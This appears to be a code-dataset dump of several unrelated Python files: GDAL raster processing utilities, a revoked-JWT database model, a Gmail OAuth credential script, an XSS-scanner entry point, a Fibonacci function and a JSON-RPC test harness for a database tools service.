key0, calc0 = key0 + calc0[0], calc0[1:] if len(calc0) > 1 else ''
if key0:
if calc0 and calc0[0].isdigit():
band0 = ''
while calc0 and calc0[0].isdigit():
band0, calc0 = band0 + calc0[0], calc0[1:] if len(calc0) > 1 else ''
else:
band0 = ''
return key0, band0, calc0
result_dict = dict()
while calc:
key, band, calc = _get_symbol(calc)
symbol = key + band
if symbol and symbol not in result_dict:
r = RasterReader(symbol_dict[key])
result_dict[symbol] = r.get_array(int(band) if band != '' else 1, mask=True)
return result_dict
def _parse_range_to_list(calc, number_of_bands):
idx0 = calc.find('[')
while idx0 > -1:
idx1 = calc.find(']', idx0)
r = calc[idx0:idx1].split(':')
try:
i0 = int(r[0])
except ValueError:
i0 = 1
try:
i1 = int(r[1])
except ValueError:
i1 = number_of_bands
r = ', '.join([str(i) for i in range(i0, i1+1)])
calc = calc[:idx0+1] + r + calc[idx1:]
idx1 = idx0 + len(r)
idx0 = calc.find('[', idx1)
return calc
def _split_calculation(calc):
def _list_to_calculations(calc0, ii):
i0 = calc0.find('[')
while i0 > -1:
i1 = calc0.find(']', i0)
r = calc0[i0 + 1:i1].split(',')[ii].strip()
calc0 = calc0[:i0] + r + calc0[i1+1:]
i1 = i0 + len(r) - 1
i0 = calc0.find('[', i1)
return calc0
idx0 = calc.find('[')
if idx0 > -1:
idx1 = calc.find(']', idx0)
n = len(calc[idx0 + 1:idx1].split(','))
l2t = [_list_to_calculations(calc, i) for i in range(n)]
else:
l2t = [calc]
return l2t
| from __future__ import division
from builtins import str
from builtins import range
from past.utils import old_div
import numpy as np
from osgeo import gdal, gdal_array
from girs.rast.parameter import RasterParameters
from girs.rast.raster import get_driver, RasterReader, RasterWriter
from girs.geom.envelope import merge_envelopes, buffer_envelope
def get_parameters_from_raster(r):
try:
r = RasterReader(r)
except AttributeError:
pass
try:
return r.get_parameters()
except AttributeError:
return None
def mosaic(*args, **kwargs):
"""
:param args:
:param kwargs:
:return:
"""
# Handle the case of *args being a tuple of list
rp0 = get_parameters_from_raster(args[0])
if not rp0:
args = args[0]
rp0 = get_parameters_from_raster(args[0])
gt0 = rp0.geo_trans
raster_parameters = [rp0]
for i in range(1, len(args)):
raster_parameters.append(get_parameters_from_raster(args[i]))
envs = [rp0.get_extent_world() for rp0 in raster_parameters]
env = merge_envelopes(envs, extent_type='union')
env = buffer_envelope(env, (-gt0[1]*0.5, gt0[5]*0.5))
(u_min, u_max, v_min, v_max), geo_trans = rp0.extent_world_to_pixel(*env)
u_min, u_max = 0, u_max - u_min
v_min, v_max = 0, v_max - v_min
rp_out = RasterParameters(u_max+1, v_max+1, geo_trans, rp0.srs, rp0.number_of_bands, rp0.nodata, rp0.data_types,
driver_short_name=rp0.driverShortName)
r_out = RasterWriter(rp_out, kwargs.pop('output_raster', None))
for i in range(rp_out.number_of_bands):
bn = i + 1
dtype = gdal_array.GDALTypeCodeToNumericTypeCode(rp_out.data_types[i])
array_out = np.full((rp_out.RasterYSize, rp_out.RasterXSize), rp_out.nodata[i], dtype)
for arg in args:
try:
r = RasterReader(arg)
except AttributeError:
r = arg
p = r.get_parameters()
x_min, y_max = p.pixel_to_world(0, 0)
x_min, y_max = x_min + (p.geo_trans[1] * 0.5), (y_max + p.geo_trans[5] * 0.5)
u_min, v_min = rp_out.world_to_pixel(x_min, y_max)
array = r.get_array(band_number=bn)
array_out[v_min:v_min+p.RasterYSize, u_min:u_min+p.RasterXSize] = array
r_out.set_array(array=array_out, band_number=bn)
return r_out
def composite(*args, **kwargs):
"""
:param args: Raster or filenames
:param kwargs:
:key output_raster: filename of the output raster
:return:
"""
p = get_parameters_from_raster(args[0])
if not p:
args = args[0]
p = get_parameters_from_raster(args[0])
p.number_of_bands = len(args)
r_out = RasterWriter(p, kwargs.pop('output_raster', None))
for i, arg in enumerate(args):
try:
r = RasterReader(arg)
except AttributeError:
r = arg
r_out.set_array(r.get_array(), i+1)
r_out.dataset.FlushCache()
return r_out
def calculate(calc, **kwargs):
"""Examples::
# Returns in 'MEM', applying the algebra to raster R, bands 1 and 2
calculate("(R1-R2)/(R1+R2)", R='C:/tmp/raster1.tif')
# Save to file
calculate("(R1-R2)/(R1+R2)", R='C:/tmp/raster1.tif', output_raster='C:/tmp/ndvi.tif')
# Using lists of bands. Note that [1:2] means band 1 and band 2. band numbers start at
# 1 and include the last index
calculate("(R[1, 2]+S[1, 2])/(R[1, 2]-S[1, 2])")
# ... which is equivalent to
calculate("(R[:2]+S[:2])/(R[:2]-S[:2])")
# Applying calculate to all bands
calculate("(R[:]+S[:])/(R[:]-S[:])")
# This is also possible:
calculate("(R[1, 2]+S[3, 4])/(R[:2]-S[1, 4])")
See also:
- https://svn.osgeo.org/gdal/trunk/gdal/swig/python/scripts/gdal_calc.py
- https://github.com/rveciana/geoexamples/blob/master/python/gdal-performance/classification_blocks.py
:param calc: algebraic operation supported by numpy arrays "(R1-R2)/(R1+R2)", where R1 and R2 are the keys used in the argument rasters:
- R1: raster R band 1
- R2: raster R band 2
:param kwargs:
- `<letter>` (a letter used in calc, string): filename or Raster instance
- `output_raster` (str): filename of the new rasters
- `driver` (str): driver name
:return:
"""
output_raster = kwargs.pop('output_raster', '')
driver = kwargs.pop('driver', None)
driver = get_driver(output_raster, driver)
driver = driver.ShortName
r = RasterReader(list(kwargs.values())[0])
# Separate list of bands in single calculations
calc = _parse_range_to_list(calc, r.get_band_count())
calculations = _split_calculation(calc)
raster_parameters = r.get_parameters()
raster_parameters.driverShortName = driver
raster_parameters.number_of_bands = len(calculations)
r_out = RasterWriter(raster_parameters, output_raster)
for i, calc in enumerate(calculations):
calc_dict = _get_symbol_and_masked_arrays(calc, kwargs)
arr = eval(calc, calc_dict)
r_out.set_array(arr.data, i+1)
r_out.dataset.FlushCache()
return r_out
def resample(input_raster, pixel_sizes, resample_alg=gdal.GRA_NearestNeighbour, **kwargs):
"""
Args:
input_raster: file name of a rasters or a Raster object
pixel_sizes (list, str or Raster): list of pixel_width, pixel_height, file name of a rasters, or Raster object
kwargs:
'output_raster' (string): filename of the new rasters.
'driver' (string): driver name (e.g., 'MEM')
"""
try:
pixel_width, pixel_height = float(pixel_sizes), float(pixel_sizes)
except:
try:
pixel_width, pixel_height = pixel_sizes
pixel_width, pixel_height = float(pixel_width), float(pixel_height)
except:
try:
raster0 = RasterReader(pixel_sizes)
except:
raster0 = pixel_sizes
pixel_width, pixel_height = raster0.get_pixel_size()
del raster0
try:
input_raster = RasterReader(input_raster)
except:
pass
x_min, x_max, y_min, y_max = input_raster.get_extent()
driver = get_driver(kwargs['output_raster'] if 'output_raster' in kwargs else None,
kwargs['driver'] if 'driver' in kwargs else None)
driver = driver.ShortName
len_x = x_max-x_min
len_y = y_max-y_min
u_max, v_max = int(old_div(len_x,pixel_width)), int(old_div(len_y,pixel_height))
if (old_div((len_x - u_max * pixel_width), pixel_width)) > 0.5:
u_max += 1
if (old_div((len_y - v_max * pixel_height), pixel_height)) > 0.5:
v_max += 1
gt_out = list(input_raster.get_geotransform()) # make it mutable
gt_out[1], gt_out[5] = pixel_width, -pixel_height
name = kwargs.get('output_raster', None)
driver = kwargs.get('driver', None)
raster_parameters = input_raster.get_parameters()
raster_parameters.RasterXSize = u_max
raster_parameters.RasterYSize = v_max
raster_parameters.geo_trans = gt_out
raster_parameters.driverShortName = driver
raster_out = RasterWriter(raster_parameters, name)
gdal.ReprojectImage(input_raster.dataset, raster_out.dataset, input_raster.get_coordinate_system(), raster_out.get_coordinate_system(), resample_alg)
return raster_out
def strip(input_raster):
"""Remove top and bottom rows, and left and right columns containing only nodata
:param input_raster:
:return:
"""
import numpy as np
raster_parameters = input_raster.get_parameters()
u_min = v_min = 0
u_max, v_max = input_raster.get_raster_size()
u_min_min, v_min_min = u_max, v_max
u_max_max, v_max_max = u_min, v_min
for bn in range(1, input_raster.get_band_count() + 1):
array = input_raster.get_array()
nodata = input_raster.get_nodata(bn)
if nodata is np.nan or nodata is None:
for u_min in range(u_min, u_max):
if not np.all(np.isnan(array[:, u_min])):
break
for u_max in range(u_max-1, u_min, -1):
if not np.all(np.isnan(array[:, u_max])):
break
for v_min in range(v_min, v_max):
if not np.all(np.isnan(array[v_min, :])):
break
for v_max in range(v_max-1, v_min, -1):
if not np.all(np.isnan(array[v_max:, :])):
break
else:
for u_min in range(u_min, u_max):
if not np.all((array[:, u_min] == nodata)):
break
for u_max in range(u_max-1, u_min, -1):
if not np.all((array[:, u_max] == nodata)):
break
for v_min in range(v_min, v_max):
if not np.all((array[v_min, :] == nodata)):
break
for v_max in range(v_max-1, v_min, -1):
if not np.all((array[v_max:, :] == nodata)):
break
u_min_min = min(u_min_min, u_min)
u_max_max = max(u_max_max, u_max)
v_min_min = min(v_min_min, v_min)
v_max_max = max(v_max_max, v_max)
x_min, y_max = raster_parameters.pixel_to_world(u_min_min, v_min_min)
raster_parameters.geo_trans = list(raster_parameters.geo_trans)
raster_parameters.geo_trans[0], raster_parameters.geo_trans[3] = x_min, y_max
raster_parameters.RasterXSize = u_max_max - u_min_min + 1
raster_parameters.RasterYSize = v_max_max - v_min_min + 1
output_raster = RasterWriter(raster_parameters, input_raster.get_rastername())
for bn in range(1, input_raster.get_band_count() + 1):
array = input_raster.get_array(band_number=bn, col0=u_min_min, row0=v_min_min,
n_cols=raster_parameters.RasterXSize,
n_rows=raster_parameters.RasterYSize)
r_band = output_raster.get_band(bn)
r_band.WriteArray(array)
output_raster.dataset.FlushCache()
return output_raster
# =============================================================================
# Utilities
# =============================================================================
def _get_symbol_and_masked_arrays(calc, symbol_dict):
symbol_keys = sorted(symbol_dict.keys())
def _starts_with(s):
for k in symbol_keys:
if s.startswith(k):
return True
return False
def _get_symbol(calc0):
key0 = ''
band0 = ''
if not _starts_with(calc0[0]):
return key0, band0, calc0[1:] if len(calc0) > 1 else ''
while calc0 and _starts_with(calc0[0]):
key0, calc0 = key0 + calc0[0], calc0[1:] if len(calc0) > 1 else ''
if key0:
if calc0 and calc0[0].isdigit():
band0 = ''
while calc0 and calc0[0].isdigit():
band0, calc0 = band0 + calc0[0], calc0[1:] if len(calc0) > 1 else ''
else:
band0 = ''
return key0, band0, calc0
result_dict = dict()
while calc:
key, band, calc = _get_symbol(calc)
symbol = key + band
if symbol and symbol not in result_dict:
r = RasterReader(symbol_dict[key])
result_dict[symbol] = r.get_array(int(band) if band != '' else 1, mask=True)
return result_dict
def _parse_range_to_list(calc, number_of_bands):
idx0 = calc.find('[')
while idx0 > -1:
idx1 = calc.find(']', idx0)
r = calc[idx0:idx1].split(':')
try:
i0 = int(r[0])
except ValueError:
i0 = 1
try:
i1 = int(r[1])
except ValueError:
i1 = number_of_bands
r = ', '.join([str(i) for i in range(i0, i1+1)])
calc = calc[:idx0+1] + r + calc[idx1:]
idx1 = idx0 + len(r)
idx0 = calc.find('[', idx1)
return calc
def _split_calculation(calc):
def _list_to_calculations(calc0, ii):
i0 = calc0.find('[')
while i0 > -1:
i1 = calc0.find(']', i0)
r = calc0[i0 + 1:i1].split(',')[ii].strip()
calc0 = calc0[:i0] + r + calc0[i1+1:]
i1 = i0 + len(r) - 1
i0 = calc0.find('[', i1)
return calc0
idx0 = calc.find('[')
if idx0 > -1:
idx1 = calc.find(']', idx0)
n = len(calc[idx0 + 1:idx1].split(','))
l2t = [_list_to_calculations(calc, i) for i in range(n)]
else:
l2t = [calc]
return l2t | en | 0.632884 | :param args: :param kwargs: :return: # Handle the case of *args being a tuple of list :param args: Raster or filenames :param kwargs: :key output_raster: filename of the output raster :return: Examples:: # Returns in 'MEM', applying the algebra to raster R, bands 1 and 2 calculate("(R1-R2)/(R1+R2)", R='C:/tmp/raster1.tif') # Save to file calculate("(R1-R2)/(R1+R2)", R='C:/tmp/raster1.tif', output_raster='C:/tmp/ndvi.tif') # Using lists of bands. Note that [1:2] means band 1 and band 2. band numbers start at # 1 and include the last index calculate("(R[1, 2]+S[1, 2])/(R[1, 2]-S[1, 2])") # ... which is equivalent to calculate("(R[:2]+S[:2])/(R[:2]-S[:2])") # Applying calculate to all bands calculate("(R[:]+S[:])/(R[:]-S[:])") # This is also possible: calculate("(R[1, 2]+S[3, 4])/(R[:2]-S[1, 4])") See also: - https://svn.osgeo.org/gdal/trunk/gdal/swig/python/scripts/gdal_calc.py - https://github.com/rveciana/geoexamples/blob/master/python/gdal-performance/classification_blocks.py :param calc: algebraic operation supported by numpy arrays "(R1-R2)/(R1+R2)", where R1 and R2 are the keys used in the argument rasters: - R1: raster R band 1 - R2: raster R band 2 :param kwargs: - `<letter>` (a letter used in calc, string): filename or Raster instance - `output_raster` (str): filename of the new rasters - `driver` (str): driver name :return: # Separate list of bands in single calculations Args: input_raster: file name of a rasters or a Raster object pixel_sizes (list, str or Raster): list of pixel_width, pixel_height, file name of a rasters, or Raster object kwargs: 'output_raster' (string): filename of the new rasters. 'driver' (string): driver name (e.g., 'MEM') # make it mutable Remove top and bottom rows, and left and right columns containing only nodata :param input_raster: :return: # ============================================================================= # Utilities # ============================================================================= | 2.151002 | 2 |
web/rest_api/models/jwt.py | shawnyang610/project-onesteward | 0 | 6616174 | from rest_api import db
from datetime import datetime
class RevokedTokenModel(db.Model):
__tablename__="revoked_tokens"
id = db.Column(db.Integer, primary_key=True)
jti = db.Column(db.String(128))
date = db.Column(db.DateTime, nullable=False, default=datetime.utcnow)
def __init__(self, jti):
self.jti=jti
def save_to_db(self):
db.session.add(self)
db.session.commit()
@classmethod
def is_jti_blacklisted(cls, jti):
jti = cls.query.filter_by(jti=jti).first()
return jti
| from rest_api import db
from datetime import datetime
class RevokedTokenModel(db.Model):
__tablename__="revoked_tokens"
id = db.Column(db.Integer, primary_key=True)
jti = db.Column(db.String(128))
date = db.Column(db.DateTime, nullable=False, default=datetime.utcnow)
def __init__(self, jti):
self.jti=jti
def save_to_db(self):
db.session.add(self)
db.session.commit()
@classmethod
def is_jti_blacklisted(cls, jti):
jti = cls.query.filter_by(jti=jti).first()
return jti
| none | 1 | 2.141502 | 2 | |
get_credentials.py | iburinoc/kindle_scraper | 0 | 6616175 | # obtained from https://developers.google.com/gmail/api/quickstart/python
import pickle
from google_auth_oauthlib.flow import InstalledAppFlow
# If modifying these scopes, delete the file token.pickle.
SCOPES = [
"https://www.googleapis.com/auth/gmail.readonly",
"https://www.googleapis.com/auth/gmail.send",
]
def main():
flow = InstalledAppFlow.from_client_secrets_file("project_credentials.json", SCOPES)
creds = flow.run_local_server()
# Save the credentials for the next run
with open("token.pickle", "wb") as token:
pickle.dump(creds, token)
if __name__ == "__main__":
main()
| # obtained from https://developers.google.com/gmail/api/quickstart/python
import pickle
from google_auth_oauthlib.flow import InstalledAppFlow
# If modifying these scopes, delete the file token.pickle.
SCOPES = [
"https://www.googleapis.com/auth/gmail.readonly",
"https://www.googleapis.com/auth/gmail.send",
]
def main():
flow = InstalledAppFlow.from_client_secrets_file("project_credentials.json", SCOPES)
creds = flow.run_local_server()
# Save the credentials for the next run
with open("token.pickle", "wb") as token:
pickle.dump(creds, token)
if __name__ == "__main__":
main()
| en | 0.836853 | # obtained from https://developers.google.com/gmail/api/quickstart/python # If modifying these scopes, delete the file token.pickle. # Save the credentials for the next run | 2.151898 | 2 |
xss-scanner.py | BondocClaudiu/XSS-Scanner | 0 | 6616176 | from scanner import Menu
if __name__ == "__main__":
try:
menu = Menu()
menu.open()
except KeyboardInterrupt:
exit()
| from scanner import Menu
if __name__ == "__main__":
try:
menu = Menu()
menu.open()
except KeyboardInterrupt:
exit()
| none | 1 | 2.447537 | 2 | |
Q-2/fibonacci_sequence.py | gribja/c1pq | 0 | 6616177 | def fibonacci():
a=0
b=1
i=0
while i<=20:
c=a+b
a=b
b=c
print(c)
i+=1
fibonacci() | def fibonacci():
a=0
b=1
i=0
while i<=20:
c=a+b
a=b
b=c
print(c)
i+=1
fibonacci() | none | 1 | 3.90928 | 4 | |
tests/json_rpc_tests/rpc_test_framework.py | dingobar/pgtoolsservice | 0 | 6616178 | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
"""Module for testing expected JSON RPC input/outputs when the tools service is being used"""
import io
import json
import logging
import os
import re
import threading
from typing import Callable, List, Optional, Tuple
from unittest import mock
from ossdbtoolsservice.hosting.json_message import JSONRPCMessageType
import ossdbtoolsservice.ossdbtoolsservice_main as ossdbtoolsservice_main
from ossdbtoolsservice.utils import constants
class RPCTestMessage:
"""
Class representing an individual JSON RPC message sent as part of an end-to-end integration test
:param method: The name of the JSON RPC method (e.g. 'connection/connect')
:param message_type: The JSONRpcMessageType for the message
:param expect_error_response: Whether the server will respond to this message with an error.
This parameter will be ignored for non-request messages. Default is False.
:param response_verifier: An optional callback that will be called with the response object,
which can be used to verify that the response is the expected one. This parameter will be
ignored for non-request messages. For request messages, if this is not provided, the test will
verify that some response was sent, but will not verify its details.
:param notification_verifiers: An optional list of verifiers that can be used to verify that
the server sent the expected notifications following this message. Each verifier is a tuple
where the first element is a filter function to determine if a given notification was sent in
response to this message, and the second element is an optional verifier that will be called
for each notification that the filter function returns True for. If the message causes the
server to send back notifications, this argument must be provided.
"""
request_id = 0
def __init__(self, method: str, params: str, message_type: JSONRPCMessageType, expect_error_response: bool = False,
response_verifier: Callable[[dict], None] = None,
notification_verifiers: List[Tuple[Callable[[dict], bool], Optional[Callable[[dict], None]]]] = None):
self.method = method
self.params = json.loads(params) if params is not None else None
self.message_type = message_type
if self.message_type is JSONRPCMessageType.Request:
self.request_id = None
self.expect_error_response = expect_error_response
self.response_verifier = response_verifier
self.notification_verifiers = notification_verifiers
def initialize_request_id(self):
"""For a request message, initialize its request ID"""
if self.message_type is not JSONRPCMessageType.Request:
raise RuntimeError('initialize_request_id can only be called on request messages')
elif self.request_id is not None:
raise RuntimeError('Request ID already initialized')
self.request_id = RPCTestMessage.request_id
RPCTestMessage.request_id += 1
def __str__(self):
message_dictionary = {
'jsonrpc': '2.0',
'method': self.method
}
if self.params is not None:
message_dictionary['params'] = self.params
if self.message_type is JSONRPCMessageType.Request:
if self.request_id is None:
self.initialize_request_id()
message_dictionary['id'] = self.request_id
return json.dumps(message_dictionary)
class JSONRPCTestCase:
def __init__(self, test_messages: List[RPCTestMessage]):
initialization_messages = [
DefaultRPCTestMessages.initialize(),
DefaultRPCTestMessages.version(),
DefaultRPCTestMessages.change_configuration(),
DefaultRPCTestMessages.list_capabilities()]
shutdown_messages = [DefaultRPCTestMessages.shutdown()]
self.messages = initialization_messages + test_messages + shutdown_messages
def run(self):
# Start the server
input_stream, output_stream, output_info = JSONRPCTestCase.start_service()
output = ""
# Send all messages to the server
for message in self.messages:
expected_write_calls = output_info[0] + 2 * ((len(message.notification_verifiers) if message.notification_verifiers is not None else 0) +
(1 if message.message_type is JSONRPCMessageType.Request else 0))
bytes_message = b'Content-Length: ' + str.encode(str(len(str(message)))) + b'\r\n\r\n' + str.encode(str(message))
output_info[1].acquire()
input_stream.write(bytes_message)
input_stream.flush()
if message.method == 'shutdown':
continue
output_info[1].wait_for(lambda: output_info[0] >= expected_write_calls, 5)
if output_info[0] < expected_write_calls:
raise RuntimeError(f'Timed out waiting for response or notification for method {message.method}')
# Process the output into responses and notifications
output = output_stream.getvalue().decode()
messages = re.split(r'Content-Length: .+\s+', output)
response_dict = {}
notifications = []
for message_str in messages:
if not message_str:
continue
message = json.loads(message_str.strip())
if 'id' in message:
message_id = message['id']
if message_id in response_dict:
raise RuntimeError(f'Server sent multiple responses with ID {message_id}')
response_dict[message_id] = message
else:
notifications.append(message)
# Verify that each request has a response
requests = [message for message in self.messages if message.message_type is JSONRPCMessageType.Request]
responses_to_verify = {response['id'] for response in response_dict.values()}
for request in requests:
if request.method == 'shutdown':
continue
response = response_dict.get(request.request_id)
if response is None:
raise RuntimeError(f'Request ID {request.request_id} (method {request.method}) has no response')
# Verify that the response is or is not an error, as expected
if request.expect_error_response:
if 'error' not in response:
raise RuntimeError(f'Expected error response to request method {request.method} but got \n{json.dumps(response)}')
else:
if 'result' not in response:
raise RuntimeError(f'Expected successful response to request method {request.method} but got \n{json.dumps(response)}')
# Run the response verifier if present
responses_to_verify.remove(response['id'])
if request.response_verifier is not None:
request.response_verifier(response)
if responses_to_verify:
raise RuntimeError('Server sent the following responses that had no corresponding request:\n{}'.format('\n'.join(
[json.dumps(response_dict[response_id]) for response_id in responses_to_verify])))
# Verify the notifications
notifications_to_verify = {index for index, _ in enumerate(notifications)}
for message in self.messages:
verifiers = message.notification_verifiers
if not verifiers:
continue
for filter_function, verification_function in verifiers:
filtered_notifications = [(index, notification) for index, notification in enumerate(notifications) if filter_function(notification)]
notification_count = len(filtered_notifications)
if notification_count == 0:
raise RuntimeError(f'Expected 1 notification for request with method {message.method} but got 0')
# If there was more than 1 notification matching the filter, take the first one that matches
index = None
notification = None
for filtered_notification in filtered_notifications:
index = filtered_notification[0]
notification = filtered_notification[1]
if index in notifications_to_verify:
break
notifications_to_verify.remove(index)
if verification_function is not None:
verification_function(notification)
if notifications_to_verify:
raise RuntimeError('Server sent the following unexpected notifications:\n{}'.format('\n'.join(
[json.dumps(notifications[index]) for index in notifications_to_verify])))
@staticmethod
def start_service():
# Set up the server's input and output
input_r, input_w = os.pipe()
server_input_stream = open(input_r, 'rb', buffering=0, closefd=False)
test_input_stream = open(input_w, 'wb', buffering=0, closefd=False)
server_output_stream = io.BytesIO()
server_output_stream.close = mock.Mock()
output_info = [0, threading.Condition()] # Number of times write called, Condition variable for monitoring info
# Mock the server output stream's write method so that the test knows how many messages have been written
old_write_method = server_output_stream.write
def mock_write(message):
output_info[1].acquire()
bytes_written = old_write_method(message)
output_info[0] += 1
output_info[1].notify()
output_info[1].release()
return bytes_written
server_output_stream.write = mock.Mock(side_effect=mock_write)
logger = logging.Logger('test')
logger.addHandler(logging.NullHandler())
server = ossdbtoolsservice_main._create_server(server_input_stream, server_output_stream, logger, constants.PG_PROVIDER_NAME)
server.start()
return test_input_stream, server_output_stream, output_info
class DefaultRPCTestMessages:
@staticmethod
def initialize():
return RPCTestMessage(
'initialize',
'{"processId": 4340, "capabilities": {}, "trace": "off"}',
JSONRPCMessageType.Request
)
@staticmethod
def version():
return RPCTestMessage('version', None, JSONRPCMessageType.Request)
@staticmethod
def change_configuration():
return RPCTestMessage(
'workspace/didChangeConfiguration',
'{"settings":{"pgsql":{"logDebugInfo":false,"enabled":true,"defaultDatabase":"postgres","format":{"keywordCase":null,"identifierCase":null,"stripComments":false,"reindent":true}}}}', # noqa
JSONRPCMessageType.Notification
)
@staticmethod
def list_capabilities():
return RPCTestMessage(
'capabilities/list',
'{"hostName":"carbon","hostVersion":"1.0"}',
JSONRPCMessageType.Request
)
@staticmethod
def connection_request(owner_uri, connection_options):
connection_request = RPCTestMessage(
'connection/connect',
'{"ownerUri":"%s","connection":{"options":%s}}' % (owner_uri, json.dumps(connection_options)),
JSONRPCMessageType.Request,
notification_verifiers=[(
lambda notification: notification['method'] == 'connection/complete' and notification['params']['ownerUri'] == owner_uri,
None
)]
)
language_flavor_notification = RPCTestMessage(
'connection/languageflavorchanged',
'{"uri":"%s","language":"sql","flavor":"PGSQL"}' % owner_uri,
JSONRPCMessageType.Notification,
notification_verifiers=[(
lambda notification: notification['method'] == 'textDocument/intelliSenseReady' and notification['params']['ownerUri'] == owner_uri,
None
)]
)
return (connection_request, language_flavor_notification)
@staticmethod
def shutdown():
return RPCTestMessage('shutdown', None, JSONRPCMessageType.Request)
| # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
"""Module for testing expected JSON RPC input/outputs when the tools service is being used"""
import io
import json
import logging
import os
import re
import threading
from typing import Callable, List, Optional, Tuple
from unittest import mock
from ossdbtoolsservice.hosting.json_message import JSONRPCMessageType
import ossdbtoolsservice.ossdbtoolsservice_main as ossdbtoolsservice_main
from ossdbtoolsservice.utils import constants
class RPCTestMessage:
"""
Class representing an individual JSON RPC message sent as part of an end-to-end integration test
:param method: The name of the JSON RPC method (e.g. 'connection/connect')
:param message_type: The JSONRpcMessageType for the message
:param expect_error_response: Whether the server will respond to this message with an error.
This parameter will be ignored for non-request messages. Default is False.
:param response_verifier: An optional callback that will be called with the response object,
which can be used to verify that the response is the expected one. This parameter will be
ignored for non-request messages. For request messages, if this is not provided, the test will
verify that some response was sent, but will not verify its details.
:param notification_verifiers: An optional list of verifiers that can be used to verify that
the server sent the expected notifications following this message. Each verifier is a tuple
where the first element is a filter function to determine if a given notification was sent in
response to this message, and the second element is an optional verifier that will be called
for each notification that the filter function returns True for. If the message causes the
server to send back notifications, this argument must be provided.
"""
request_id = 0
def __init__(self, method: str, params: str, message_type: JSONRPCMessageType, expect_error_response: bool = False,
response_verifier: Callable[[dict], None] = None,
notification_verifiers: List[Tuple[Callable[[dict], bool], Optional[Callable[[dict], None]]]] = None):
self.method = method
self.params = json.loads(params) if params is not None else None
self.message_type = message_type
if self.message_type is JSONRPCMessageType.Request:
self.request_id = None
self.expect_error_response = expect_error_response
self.response_verifier = response_verifier
self.notification_verifiers = notification_verifiers
def initialize_request_id(self):
"""For a request message, initialize its request ID"""
if self.message_type is not JSONRPCMessageType.Request:
raise RuntimeError('initialize_request_id can only be called on request messages')
elif self.request_id is not None:
raise RuntimeError('Request ID already initialized')
self.request_id = RPCTestMessage.request_id
RPCTestMessage.request_id += 1
def __str__(self):
message_dictionary = {
'jsonrpc': '2.0',
'method': self.method
}
if self.params is not None:
message_dictionary['params'] = self.params
if self.message_type is JSONRPCMessageType.Request:
if self.request_id is None:
self.initialize_request_id()
message_dictionary['id'] = self.request_id
return json.dumps(message_dictionary)
class JSONRPCTestCase:
def __init__(self, test_messages: List[RPCTestMessage]):
initialization_messages = [
DefaultRPCTestMessages.initialize(),
DefaultRPCTestMessages.version(),
DefaultRPCTestMessages.change_configuration(),
DefaultRPCTestMessages.list_capabilities()]
shutdown_messages = [DefaultRPCTestMessages.shutdown()]
self.messages = initialization_messages + test_messages + shutdown_messages
def run(self):
# Start the server
input_stream, output_stream, output_info = JSONRPCTestCase.start_service()
output = ""
# Send all messages to the server
for message in self.messages:
expected_write_calls = output_info[0] + 2 * ((len(message.notification_verifiers) if message.notification_verifiers is not None else 0) +
(1 if message.message_type is JSONRPCMessageType.Request else 0))
bytes_message = b'Content-Length: ' + str.encode(str(len(str(message)))) + b'\r\n\r\n' + str.encode(str(message))
output_info[1].acquire()
input_stream.write(bytes_message)
input_stream.flush()
if message.method == 'shutdown':
continue
output_info[1].wait_for(lambda: output_info[0] >= expected_write_calls, 5)
if output_info[0] < expected_write_calls:
raise RuntimeError(f'Timed out waiting for response or notification for method {message.method}')
# Process the output into responses and notifications
output = output_stream.getvalue().decode()
messages = re.split(r'Content-Length: .+\s+', output)
response_dict = {}
notifications = []
for message_str in messages:
if not message_str:
continue
message = json.loads(message_str.strip())
if 'id' in message:
message_id = message['id']
if message_id in response_dict:
raise RuntimeError(f'Server sent multiple responses with ID {message_id}')
response_dict[message_id] = message
else:
notifications.append(message)
# Verify that each request has a response
requests = [message for message in self.messages if message.message_type is JSONRPCMessageType.Request]
responses_to_verify = {response['id'] for response in response_dict.values()}
for request in requests:
if request.method == 'shutdown':
continue
response = response_dict.get(request.request_id)
if response is None:
raise RuntimeError(f'Request ID {request.request_id} (method {request.method}) has no response')
# Verify that the response is or is not an error, as expected
if request.expect_error_response:
if 'error' not in response:
raise RuntimeError(f'Expected error response to request method {request.method} but got \n{json.dumps(response)}')
else:
if 'result' not in response:
raise RuntimeError(f'Expected successful response to request method {request.method} but got \n{json.dumps(response)}')
# Run the response verifier if present
responses_to_verify.remove(response['id'])
if request.response_verifier is not None:
request.response_verifier(response)
if responses_to_verify:
raise RuntimeError('Server sent the following responses that had no corresponding request:\n{}'.format('\n'.join(
[json.dumps(response_dict[response_id]) for response_id in responses_to_verify])))
# Verify the notifications
notifications_to_verify = {index for index, _ in enumerate(notifications)}
for message in self.messages:
verifiers = message.notification_verifiers
if not verifiers:
continue
for filter_function, verification_function in verifiers:
filtered_notifications = [(index, notification) for index, notification in enumerate(notifications) if filter_function(notification)]
notification_count = len(filtered_notifications)
if notification_count == 0:
raise RuntimeError(f'Expected 1 notification for request with method {message.method} but got 0')
# If there was more than 1 notification matching the filter, take the first one that matches
index = None
notification = None
for filtered_notification in filtered_notifications:
index = filtered_notification[0]
notification = filtered_notification[1]
if index in notifications_to_verify:
break
notifications_to_verify.remove(index)
if verification_function is not None:
verification_function(notification)
if notifications_to_verify:
raise RuntimeError('Server sent the following unexpected notifications:\n{}'.format('\n'.join(
[json.dumps(notifications[index]) for index in notifications_to_verify])))
@staticmethod
def start_service():
# Set up the server's input and output
input_r, input_w = os.pipe()
server_input_stream = open(input_r, 'rb', buffering=0, closefd=False)
test_input_stream = open(input_w, 'wb', buffering=0, closefd=False)
server_output_stream = io.BytesIO()
server_output_stream.close = mock.Mock()
output_info = [0, threading.Condition()] # Number of times write called, Condition variable for monitoring info
# Mock the server output stream's write method so that the test knows how many messages have been written
old_write_method = server_output_stream.write
def mock_write(message):
output_info[1].acquire()
bytes_written = old_write_method(message)
output_info[0] += 1
output_info[1].notify()
output_info[1].release()
return bytes_written
server_output_stream.write = mock.Mock(side_effect=mock_write)
logger = logging.Logger('test')
logger.addHandler(logging.NullHandler())
server = ossdbtoolsservice_main._create_server(server_input_stream, server_output_stream, logger, constants.PG_PROVIDER_NAME)
server.start()
return test_input_stream, server_output_stream, output_info
class DefaultRPCTestMessages:
@staticmethod
def initialize():
return RPCTestMessage(
'initialize',
'{"processId": 4340, "capabilities": {}, "trace": "off"}',
